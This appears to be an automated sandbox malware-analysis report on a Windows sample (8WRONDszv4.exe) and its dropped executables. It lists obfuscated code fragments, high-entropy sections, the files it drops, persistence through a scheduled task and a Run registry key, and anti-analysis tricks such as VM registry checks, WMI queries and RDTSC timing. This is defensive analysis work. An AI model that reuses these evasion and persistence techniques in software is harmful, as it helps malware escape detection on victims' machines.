Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693E00 pushfd ; retf 0053h	0_3_01693E12
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693E00 pushfd ; retf 0053h	0_3_01693E12
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693DB3 push FFFFFF9Ch; ret	0_3_01693DCA
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693E00 pushfd ; retf 0053h	0_3_01693E12
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693E00 pushfd ; retf 0053h	0_3_01693E12
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693DB3 push FFFFFF9Ch; ret	0_3_01693DCA
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693E00 pushfd ; retf 0053h	0_3_01693E12
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693E00 pushfd ; retf 0053h	0_3_01693E12
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693E00 pushfd ; retf 0053h	0_3_01693E12
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693E00 pushfd ; retf 0053h	0_3_01693E12
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693DB3 push FFFFFF9Ch; ret	0_3_01693DCA
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693E00 pushfd ; retf 0053h	0_3_01693E12
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Code function: 0_3_01693E00 pushfd ; retf 0053h	0_3_01693E12
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_0003D91C push ecx; ret	6_2_0003D92F
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_00031359 push es; ret	6_2_0003135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EBD91C push ecx; ret	7_2_00EBD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00ED0BC7 push eax; mov dword ptr [esp], ebp	8_2_00F5F597
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00ED0BC7 push 4BB9A8B7h; mov dword ptr [esp], edx	8_2_00F5F5E6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00ED0BC7 push ebx; mov dword ptr [esp], ebp	8_2_00F5F639
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00ED0BC7 push 3EE97020h; mov dword ptr [esp], eax	8_2_00F5F666
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00ED0BC7 push 75F39FA8h; mov dword ptr [esp], ebx	8_2_00F5F6D4
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EBD91C push ecx; ret	8_2_00EBD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EBDFC6 push ecx; ret	8_2_00EBDFD9

Source: 8WRONDszv4.exe	Static PE information: section name: entropy: 7.986160676204805
Source: 8WRONDszv4.exe	Static PE information: section name: uubiypuf entropy: 7.95404089568986
Source: YHOCXQOWEM64H1IK2TUEH.exe.0.dr	Static PE information: section name: entropy: 7.051345651311044
Source: skotes.exe.6.dr	Static PE information: section name: entropy: 7.051345651311044
Source: random[1].exe.8.dr	Static PE information: section name: .text entropy: 7.667674316543831
Source: 2d537c36c0.exe.8.dr	Static PE information: section name: .text entropy: 7.667674316543831
Source: random[1].exe0.8.dr	Static PE information: section name: entropy: 7.961519383963492
Source: random[1].exe0.8.dr	Static PE information: section name: ddxegoij entropy: 7.95461687822899
Source: 99468ec718.exe.8.dr	Static PE information: section name: entropy: 7.961519383963492
Source: 99468ec718.exe.8.dr	Static PE information: section name: ddxegoij entropy: 7.95461687822899

Source: 10.2.2d537c36c0.exe.56d0000.4.raw.unpack, KASIU9JAUDHSAHJDUHUDASUDUADAI0DKSFISJFUDHUFHHYU.cs	High entropy of concatenated method names: 'OMFx84NSU3Aj89yeQCX', 'LAX01SNrXLuYFtkUKZE', 'iy9SsMNm29gB450FtMd', 'dBJrEtNGIa6qVBG9EBQ', 'rVg9gbNXhuTUCax3Faw', 'SqGmZ9Nwos9SN5Q7lkZ', 'GSe2iiNdiIejkDmaBS8', 'LqmMVpNxj2A5NG3wBxw', 'gYNBsNNfxAmxgoLk8AY', 'YxEaVbN7rCtxCfwOIGb'
Source: 10.2.2d537c36c0.exe.56d0000.4.raw.unpack, psm102r62ZNKXfMgLP.cs	High entropy of concatenated method names: 'OPSws322xfEh0', 'MODr39Nq5MiabxlX31k', 'iQoS09NJ2QNv2l3Nldp', 'CJQKDaN3RqE5Z376xIt', 'pj3HvaNg4CuSslIZxHe', 'aGob5JNuDhjrh89tMF7', 'OJrIsVNcKpdpxmnyCdy', 'nvy9T7NQKdlZSSpjdYZ', 'VWEEy8N4s3YgJEZssn2', 'hiS9r5NbbCsErEIxnl5'
Source: 10.2.2d537c36c0.exe.56d0000.4.raw.unpack, Component1.cs	High entropy of concatenated method names: 'Dispose', 'c2ZnNKXfM', 'KdItahZbaqrPOGXMMIH', 'F6Y0glZWI5sNge0KygR', 'oiohBeZubh6iBGSEkrx', 'eHnLj8Z41B6OG7M1JDy', 'N4gwHqZEFQ33Xh9XSL4', 'UsxTXAZipbL0y4O7ig6', 'lWEAf5ZlGZ9tBNchonB'
Source: 10.2.2d537c36c0.exe.56d0000.4.raw.unpack, UserControl1.cs	High entropy of concatenated method names: 'Dispose', 'F2igcbrUX', 'XHGgAUZzLmxCg9LHS8J', 'S8TWddN28E6t6e1W5DI', 'nxnywSZIvTRDeZkh3vn', 'Lg0nedZDohNDcCeYfhA', 'MCqqDaNZbmCaRq0a6S3', 'pte1vQNNcjSXyOcA1wm', 'FihZepNhpEadD2XS1mj', 'v4bBBrN14WWJwYVFB1v'
Source: 10.2.2d537c36c0.exe.56d0000.4.raw.unpack, Hg0i8ysWBkmOQpOTDa.cs	High entropy of concatenated method names: 'BBiryfpB2', 'KI0GlCWQr', 'nZK2JcQAs', 'lkTeKjlkc', 'RYq1Z9XkI', 'XOTf7va1f', 'Dispose', 'YAroKCCXX', 'acfjChBBkMo7PdIk7G', 'MFS1TWc0IT345kpNHi'
Source: 10.2.2d537c36c0.exe.56d0000.4.raw.unpack, Ca01BQGh9DxiBOJwup.cs	High entropy of concatenated method names: 'Qr5ud0NzY98AOC9xd95', 'G0Y0Wrh2oh1RhmJKSXb', 'X83AawNIkZucWFsrjDy', 'uZXqgXNDChJaWlp6NOY', 'ce4DmfsmSrOT856tDgfrkMb', 'qNiCQfbwXf', 'TgalQGhh96LsT9w8Qmj', 'Fw7QQNh18VntnfmGixE', 'ILFoXIhoc2Bm12rmWG4', 'AZNUskhyETNOaYTT1jk'
Source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, KASIU9JAUDHSAHJDUHUDASUDUADAI0DKSFISJFUDHUFHHYU.cs	High entropy of concatenated method names: 'OMFx84NSU3Aj89yeQCX', 'LAX01SNrXLuYFtkUKZE', 'iy9SsMNm29gB450FtMd', 'dBJrEtNGIa6qVBG9EBQ', 'rVg9gbNXhuTUCax3Faw', 'SqGmZ9Nwos9SN5Q7lkZ', 'GSe2iiNdiIejkDmaBS8', 'LqmMVpNxj2A5NG3wBxw', 'gYNBsNNfxAmxgoLk8AY', 'YxEaVbN7rCtxCfwOIGb'
Source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, psm102r62ZNKXfMgLP.cs	High entropy of concatenated method names: 'OPSws322xfEh0', 'MODr39Nq5MiabxlX31k', 'iQoS09NJ2QNv2l3Nldp', 'CJQKDaN3RqE5Z376xIt', 'pj3HvaNg4CuSslIZxHe', 'aGob5JNuDhjrh89tMF7', 'OJrIsVNcKpdpxmnyCdy', 'nvy9T7NQKdlZSSpjdYZ', 'VWEEy8N4s3YgJEZssn2', 'hiS9r5NbbCsErEIxnl5'
Source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, Component1.cs	High entropy of concatenated method names: 'Dispose', 'c2ZnNKXfM', 'KdItahZbaqrPOGXMMIH', 'F6Y0glZWI5sNge0KygR', 'oiohBeZubh6iBGSEkrx', 'eHnLj8Z41B6OG7M1JDy', 'N4gwHqZEFQ33Xh9XSL4', 'UsxTXAZipbL0y4O7ig6', 'lWEAf5ZlGZ9tBNchonB'
Source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, UserControl1.cs	High entropy of concatenated method names: 'Dispose', 'F2igcbrUX', 'XHGgAUZzLmxCg9LHS8J', 'S8TWddN28E6t6e1W5DI', 'nxnywSZIvTRDeZkh3vn', 'Lg0nedZDohNDcCeYfhA', 'MCqqDaNZbmCaRq0a6S3', 'pte1vQNNcjSXyOcA1wm', 'FihZepNhpEadD2XS1mj', 'v4bBBrN14WWJwYVFB1v'
Source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, Hg0i8ysWBkmOQpOTDa.cs	High entropy of concatenated method names: 'BBiryfpB2', 'KI0GlCWQr', 'nZK2JcQAs', 'lkTeKjlkc', 'RYq1Z9XkI', 'XOTf7va1f', 'Dispose', 'YAroKCCXX', 'acfjChBBkMo7PdIk7G', 'MFS1TWc0IT345kpNHi'
Source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	High entropy of concatenated method names: 'Qr5ud0NzY98AOC9xd95', 'G0Y0Wrh2oh1RhmJKSXb', 'X83AawNIkZucWFsrjDy', 'uZXqgXNDChJaWlp6NOY', 'ce4DmfsmSrOT856tDgfrkMb', 'qNiCQfbwXf', 'TgalQGhh96LsT9w8Qmj', 'Fw7QQNh18VntnfmGixE', 'ILFoXIhoc2Bm12rmWG4', 'AZNUskhyETNOaYTT1jk'

Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File created: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File created: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\8WRONDszv4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 99468ec718.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 99468ec718.exe			Jump to behavior

Source: C:\Users\user\Desktop\8WRONDszv4.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\8WRONDszv4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_7-9721

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\8WRONDszv4.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\8WRONDszv4.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DC3776 second address: DC377E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DC3D75 second address: DC3D7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DC6629 second address: DC6642 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1504DFF446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007F1504DFF454h 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F1504DFF446h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DC6642 second address: DC66DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov ecx, dword ptr [ebp+122D18F0h] 0x0000000d push 00000000h 0x0000000f push 12C34F29h 0x00000014 jmp 00007F1504B42023h 0x00000019 xor dword ptr [esp], 12C34FA9h 0x00000020 mov ecx, dword ptr [ebp+122D2A4Eh] 0x00000026 mov di, D3F0h 0x0000002a push 00000003h 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007F1504B42018h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 0000001Ah 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 mov esi, dword ptr [ebp+122D2916h] 0x0000004c push 00000000h 0x0000004e push ebx 0x0000004f mov cx, 7219h 0x00000053 pop edi 0x00000054 push 00000003h 0x00000056 mov cx, ax 0x00000059 push AC191A3Ah 0x0000005e push ebx 0x0000005f jmp 00007F1504B4201Eh 0x00000064 pop ebx 0x00000065 xor dword ptr [esp], 6C191A3Ah 0x0000006c sub dword ptr [ebp+122D1D6Fh], esi 0x00000072 lea ebx, dword ptr [ebp+124514FAh] 0x00000078 xchg eax, ebx 0x00000079 push esi 0x0000007a pushad 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DC66DE second address: DC66E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DC66E4 second address: DC66F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DC66F1 second address: DC66F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DAB8F8 second address: DAB911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jp 00007F1504B42016h 0x00000012 je 00007F1504B42016h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DAB911 second address: DAB916 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
